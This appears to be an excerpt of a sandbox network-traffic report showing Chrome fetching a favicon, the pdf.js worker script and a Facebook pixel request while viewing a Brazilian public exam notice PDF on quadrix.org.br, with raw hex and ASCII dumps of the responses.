2024-05-10 07:21:02 UTC	920	OUT	GET /favicon.ico HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:02 UTC	355	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:02 GMT Content-Type: image/x-icon Content-Length: 3774 Connection: close Last-Modified: Thu, 11 Feb 2016 21:10:02 GMT ETag: "0715e921065d11:0" X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6862 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b8e688da243-ORD
2024-05-10 07:21:02 UTC	1014	IN	Data Raw: 00 00 01 00 01 00 30 30 00 00 01 00 08 00 a8 0e 00 00 16 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 08 00 00 00 00 00 80 0a 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 1d 28 ba 00 5d 60 63 00 69 6a 6f 00 67 69 6d 00 62 63 66 00 69 6a 6d 00 5d 5e 61 00 0f 11 16 00 03 05 0a 00 0c 0e 12 00 04 05 09 00 29 2a 2f 00 3b 3c 41 00 01 03 07 00 0c 0f 13 00 01 03 08 00 16 19 1b 00 16 18 1c 00 16 17 1d 00 1b 1b 21 00 0f 0f 16 00 42 43 48 00 58 5a 5d 00 0b 0d 11 00 1a 1c 20 00 13 14 19 00 24 25 29 00 0d 0f 13 00 19 1a 1e 00 1a 1b 1f 00 09 0b 0f 00 5e 5e 62 00 76 78 7a 00 09 0b 11 00 17 1a 1e 00 17 19 1d 00 0e 0f 15 00 49 4a 4c 00 0a 0a 10 00 1d 1c 22 00 18 18 1e 00 0f 11 15 00 15 17 1c 00 18 1a 1f 00 0e 0f 13 00 63 63 68 00 33 36 38 00 0d Data Ascii: 00(0`(]`cijogimbcfijm]^a)*/;<A!BCHXZ] $%)^^bvxzIJL"cch368
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii:
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 2a 41 42 43 44 00 45 1f 46 47 1d 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 39 35 19 3a 3b 00 00 00 3c 3d 3e 3f 40 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 2f 30 31 32 33 00 00 00 00 00 34 35 36 37 38 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 26 27 28 29 2a 00 00 00 00 00 00 00 2b 13 2c 2d 2e 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 1c 1d 1e 1f 20 00 00 00 00 00 00 00 21 22 23 24 25 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 12 13 Data Ascii: ABCDEFG95:;<=>?@/012345678&'()+,-. !"#$%
2024-05-10 07:21:02 UTC	22	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49810	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:02 UTC	872	OUT	GET /build/pdf.worker.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:02 UTC	419	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=1437402 ETag: "0c0d72b651cd21:0" Last-Modified: Sun, 02 Oct 2016 04:26:40 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6795 Server: cloudflare CF-RAY: 88182b8e7a732279-ORD
2024-05-10 07:21:02 UTC	950	IN	Data Raw: 37 64 66 34 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6f 74 2c 66 61 63 74 6f 72 79 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 69 66 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 3d 3d 3d 27 66 75 6e 63 74 69 6f 6e 27 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 7b 64 65 66 69 6e 65 28 27 70 64 66 6a 73 2d 64 69 73 74 2f 62 75 69 6c 64 2f 70 64 66 2e 77 6f 72 6b 65 72 27 2c 5b 27 65 78 70 6f 72 74 73 27 5d 2c 66 61 63 74 6f 72 79 29 3b 7d 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 66 61 63 74 6f 72 79 28 65 78 70 6f 72 74 73 29 3b 7d 65 6c 73 65 7b 66 61 63 74 6f 72 79 28 28 72 6f 6f 74 2e 70 64 66 6a 73 44 69 73 74 42 75 69 6c 64 50 64 66 57 6f 72 6b 65 72 3d 7b 7d 29 29 3b 7d 7d 28 74 68 69 Data Ascii: 7df4(function(root,factory){'use strict';if(typeof define==='function'&&define.amd){define('pdfjs-dist/build/pdf.worker',['exports'],factory);}else if(typeof exports!=='undefined'){factory(exports);}else{factory((root.pdfjsDistBuildPdfWorker={}));}}(thi
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 6e 6c 70 73 3a 31 34 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 34 38 30 31 2c 6e 6d 70 73 3a 39 2c 6e 6c 70 73 3a 31 34 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 33 38 30 31 2c 6e 6d 70 73 3a 31 30 2c 6e 6c 70 73 3a 31 34 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 33 30 30 31 2c 6e 6d 70 73 3a 31 31 2c 6e 6c 70 73 3a 31 37 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 32 34 30 31 2c 6e 6d 70 73 3a 31 32 2c 6e 6c 70 73 3a 31 38 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 31 43 30 31 2c 6e 6d 70 73 3a 31 33 2c 6e 6c 70 73 3a 32 30 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 31 36 30 31 2c 6e 6d 70 73 3a 32 39 2c 6e 6c 70 73 3a 32 31 2c 73 77 Data Ascii: nlps:14,switchFlag:0},{qe:0x4801,nmps:9,nlps:14,switchFlag:0},{qe:0x3801,nmps:10,nlps:14,switchFlag:0},{qe:0x3001,nmps:11,nlps:17,switchFlag:0},{qe:0x2401,nmps:12,nlps:18,switchFlag:0},{qe:0x1C01,nmps:13,nlps:20,switchFlag:0},{qe:0x1601,nmps:29,nlps:21,sw
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 67 3a 30 7d 2c 7b 71 65 3a 30 78 30 30 32 35 2c 6e 6d 70 73 3a 34 32 2c 6e 6c 70 73 3a 33 39 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 30 30 31 35 2c 6e 6d 70 73 3a 34 33 2c 6e 6c 70 73 3a 34 30 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 30 30 30 39 2c 6e 6d 70 73 3a 34 34 2c 6e 6c 70 73 3a 34 31 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 30 30 30 35 2c 6e 6d 70 73 3a 34 35 2c 6e 6c 70 73 3a 34 32 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 30 30 30 31 2c 6e 6d 70 73 3a 34 35 2c 6e 6c 70 73 3a 34 33 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 2c 7b 71 65 3a 30 78 35 36 30 31 2c 6e 6d 70 73 3a 34 36 2c 6e 6c 70 73 3a 34 36 2c 73 77 69 74 63 68 46 6c 61 67 3a 30 7d 5d 3b 66 75 6e Data Ascii: g:0},{qe:0x0025,nmps:42,nlps:39,switchFlag:0},{qe:0x0015,nmps:43,nlps:40,switchFlag:0},{qe:0x0009,nmps:44,nlps:41,switchFlag:0},{qe:0x0005,nmps:45,nlps:42,switchFlag:0},{qe:0x0001,nmps:45,nlps:43,switchFlag:0},{qe:0x5601,nmps:46,nlps:46,switchFlag:0}];fun
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 63 68 46 6c 61 67 3d 3d 3d 31 29 7b 63 78 5f 6d 70 73 3d 64 3b 7d 0a 63 78 5f 69 6e 64 65 78 3d 71 65 54 61 62 6c 65 49 63 78 2e 6e 6c 70 73 3b 7d 65 6c 73 65 7b 64 3d 63 78 5f 6d 70 73 3b 63 78 5f 69 6e 64 65 78 3d 71 65 54 61 62 6c 65 49 63 78 2e 6e 6d 70 73 3b 7d 7d 0a 64 6f 7b 69 66 28 74 68 69 73 2e 63 74 3d 3d 3d 30 29 7b 74 68 69 73 2e 62 79 74 65 49 6e 28 29 3b 7d 0a 61 3c 3c 3d 31 3b 74 68 69 73 2e 63 68 69 67 68 3d 28 28 74 68 69 73 2e 63 68 69 67 68 3c 3c 31 29 26 30 78 46 46 46 46 29 7c 28 28 74 68 69 73 2e 63 6c 6f 77 3e 3e 31 35 29 26 31 29 3b 74 68 69 73 2e 63 6c 6f 77 3d 28 74 68 69 73 2e 63 6c 6f 77 3c 3c 31 29 26 30 78 46 46 46 46 3b 74 68 69 73 2e 63 74 2d 2d 3b 7d 77 68 69 6c 65 28 28 61 26 30 78 38 30 30 30 29 3d 3d 3d 30 29 3b 74 68 Data Ascii: chFlag===1){cx_mps=d;}cx_index=qeTableIcx.nlps;}else{d=cx_mps;cx_index=qeTableIcx.nmps;}}do{if(this.ct===0){this.byteIn();}a<<=1;this.chigh=((this.chigh<<1)&0xFFFF)\|((this.clow>>15)&1);this.clow=(this.clow<<1)&0xFFFF;this.ct--;}while((a&0x8000)===0);th
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 2c 27 4f 4e 27 2c 27 4f 4e 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4f 4e 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4f 4e 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c 27 2c 27 4c Data Ascii: ,'ON','ON','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','ON','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','L','ON','L','L','L','L','L
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 41 4c 27 2c 27 41 4c 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4f 4e 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 4e 53 4d 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 2c 27 41 4c 27 5d 3b 66 75 6e 63 74 69 6f 6e 20 69 73 4f Data Ascii: AL','AL','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','NSM','ON','NSM','NSM','NSM','NSM','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL','AL'];function isO
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 7c 63 68 61 72 54 79 70 65 3d 3d 3d 27 41 4e 27 29 7b 6e 75 6d 42 69 64 69 2b 2b 3b 7d 0a 74 79 70 65 73 5b 69 5d 3d 63 68 61 72 54 79 70 65 3b 7d 0a 69 66 28 6e 75 6d 42 69 64 69 3d 3d 3d 30 29 7b 69 73 4c 54 52 3d 74 72 75 65 3b 72 65 74 75 72 6e 20 63 72 65 61 74 65 42 69 64 69 54 65 78 74 28 73 74 72 2c 69 73 4c 54 52 29 3b 7d 0a 69 66 28 73 74 61 72 74 4c 65 76 65 6c 3d 3d 3d 2d 31 29 7b 69 66 28 28 73 74 72 4c 65 6e 67 74 68 2f 6e 75 6d 42 69 64 69 29 3c 30 2e 33 29 7b 69 73 4c 54 52 3d 74 72 75 65 3b 73 74 61 72 74 4c 65 76 65 6c 3d 30 3b 7d 65 6c 73 65 7b 69 73 4c 54 52 3d 66 61 6c 73 65 3b 73 74 61 72 74 4c 65 76 65 6c 3d 31 3b 7d 7d 0a 76 61 72 20 6c 65 76 65 6c 73 3d 5b 5d 3b 66 6f 72 28 69 3d 30 3b 69 3c 73 74 72 4c 65 6e 67 74 68 3b 2b 2b 69 Data Ascii: \|charType==='AN'){numBidi++;}types[i]=charType;}if(numBidi===0){isLTR=true;return createBidiText(str,isLTR);}if(startLevel===-1){if((strLength/numBidi)<0.3){isLTR=true;startLevel=0;}else{isLTR=false;startLevel=1;}}var levels=[];for(i=0;i<strLength;++i
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 69 2b 31 2c 27 4f 4e 27 29 3b 76 61 72 20 62 65 66 6f 72 65 3d 73 6f 72 3b 69 66 28 69 3e 30 29 7b 62 65 66 6f 72 65 3d 74 79 70 65 73 5b 69 2d 31 5d 3b 7d 0a 76 61 72 20 61 66 74 65 72 3d 65 6f 72 3b 69 66 28 65 6e 64 2b 31 3c 73 74 72 4c 65 6e 67 74 68 29 7b 61 66 74 65 72 3d 74 79 70 65 73 5b 65 6e 64 2b 31 5d 3b 7d 0a 69 66 28 62 65 66 6f 72 65 21 3d 3d 27 4c 27 29 7b 62 65 66 6f 72 65 3d 27 52 27 3b 7d 0a 69 66 28 61 66 74 65 72 21 3d 3d 27 4c 27 29 7b 61 66 74 65 72 3d 27 52 27 3b 7d 0a 69 66 28 62 65 66 6f 72 65 3d 3d 3d 61 66 74 65 72 29 7b 73 65 74 56 61 6c 75 65 73 28 74 79 70 65 73 2c 69 2c 65 6e 64 2c 62 65 66 6f 72 65 29 3b 7d 0a 69 3d 65 6e 64 2d 31 3b 7d 7d 0a 66 6f 72 28 69 3d 30 3b 69 3c 73 74 72 4c 65 6e 67 74 68 3b 2b 2b 69 29 7b 69 66 Data Ascii: i+1,'ON');var before=sor;if(i>0){before=types[i-1];}var after=eor;if(end+1<strLength){after=types[end+1];}if(before!=='L'){before='R';}if(after!=='L'){after='R';}if(before===after){setValues(types,i,end,before);}i=end-1;}}for(i=0;i<strLength;++i){if
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 6c 61 73 68 27 2c 27 7a 65 72 6f 27 2c 27 6f 6e 65 27 2c 27 74 77 6f 27 2c 27 74 68 72 65 65 27 2c 27 66 6f 75 72 27 2c 27 66 69 76 65 27 2c 27 73 69 78 27 2c 27 73 65 76 65 6e 27 2c 27 65 69 67 68 74 27 2c 27 6e 69 6e 65 27 2c 27 63 6f 6c 6f 6e 27 2c 27 73 65 6d 69 63 6f 6c 6f 6e 27 2c 27 6c 65 73 73 27 2c 27 65 71 75 61 6c 27 2c 27 67 72 65 61 74 65 72 27 2c 27 71 75 65 73 74 69 6f 6e 27 2c 27 61 74 27 2c 27 41 27 2c 27 42 27 2c 27 43 27 2c 27 44 27 2c 27 45 27 2c 27 46 27 2c 27 47 27 2c 27 48 27 2c 27 49 27 2c 27 4a 27 2c 27 4b 27 2c 27 4c 27 2c 27 4d 27 2c 27 4e 27 2c 27 4f 27 2c 27 50 27 2c 27 51 27 2c 27 52 27 2c 27 53 27 2c 27 54 27 2c 27 55 27 2c 27 56 27 2c 27 57 27 2c 27 58 27 2c 27 59 27 2c 27 5a 27 2c 27 62 72 61 63 6b 65 74 6c 65 66 74 27 2c Data Ascii: lash','zero','one','two','three','four','five','six','seven','eight','nine','colon','semicolon','less','equal','greater','question','at','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','bracketleft',
2024-05-10 07:21:02 UTC	1369	IN	Data Raw: 6c 65 78 27 2c 27 45 64 69 65 72 65 73 69 73 27 2c 27 45 67 72 61 76 65 27 2c 27 49 61 63 75 74 65 27 2c 27 49 63 69 72 63 75 6d 66 6c 65 78 27 2c 27 49 64 69 65 72 65 73 69 73 27 2c 27 49 67 72 61 76 65 27 2c 27 4e 74 69 6c 64 65 27 2c 27 4f 61 63 75 74 65 27 2c 27 4f 63 69 72 63 75 6d 66 6c 65 78 27 2c 27 4f 64 69 65 72 65 73 69 73 27 2c 27 4f 67 72 61 76 65 27 2c 27 4f 74 69 6c 64 65 27 2c 27 53 63 61 72 6f 6e 27 2c 27 55 61 63 75 74 65 27 2c 27 55 63 69 72 63 75 6d 66 6c 65 78 27 2c 27 55 64 69 65 72 65 73 69 73 27 2c 27 55 67 72 61 76 65 27 2c 27 59 61 63 75 74 65 27 2c 27 59 64 69 65 72 65 73 69 73 27 2c 27 5a 63 61 72 6f 6e 27 2c 27 61 61 63 75 74 65 27 2c 27 61 63 69 72 63 75 6d 66 6c 65 78 27 2c 27 61 64 69 65 72 65 73 69 73 27 2c 27 61 67 72 61 Data Ascii: lex','Edieresis','Egrave','Iacute','Icircumflex','Idieresis','Igrave','Ntilde','Oacute','Ocircumflex','Odieresis','Ograve','Otilde','Scaron','Uacute','Ucircumflex','Udieresis','Ugrave','Yacute','Ydieresis','Zcaron','aacute','acircumflex','adieresis','agra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49811	157.240.249.35	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:02 UTC	1000	OUT	GET /login/?next=https%3A%2F%2Fwww.facebook.com%2Fprivacy_sandbox%2Fpixel%2Fregister%2Ftrigger%2F%3Fid%3D516356326232506%26ev%3DPageView%26dl%3Dhttps%253A%252F%252Fwww.quadrix.org.br%252Fweb%252Fvisualizar.html%253Ffile%253Dhttps%253A%252F%252Fwww.quadrix.org.br%252FArchives%252FGeneral%252F30728%252F31054%252F31055%252FE041D722C411%252F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf%26rl%26if%3Dfalse%26ts%3D1715325659398%26sw%3D1280%26sh%3D1024%26v%3D2.9.156%26r%3Dstable%26a%3Dtmgoogletagmanager%26ec%3D0%26o%3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:02 UTC	1273	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: fr=0MFN9EtJqxBcoEQlJ..BmPcre..AAA.0.0.BmPcre.AWW2b8BMsf8; expires=Thu, 08-Aug-2024 07:21:02 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None Set-Cookie: sb=3so9ZqsvdtZNfQCRKYxKBitM; expires=Sat, 14-Jun-2025 07:21:02 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-05-10 07:21:02 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-05-10 07:21:02 UTC	1741	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-05-10 07:21:02 UTC	7	IN	Data Raw: 31 32 64 65 33 0d 0a Data Ascii: 12de3
2024-05-10 07:21:02 UTC	1500	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 78 78 47 44 4a 45 44 75 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 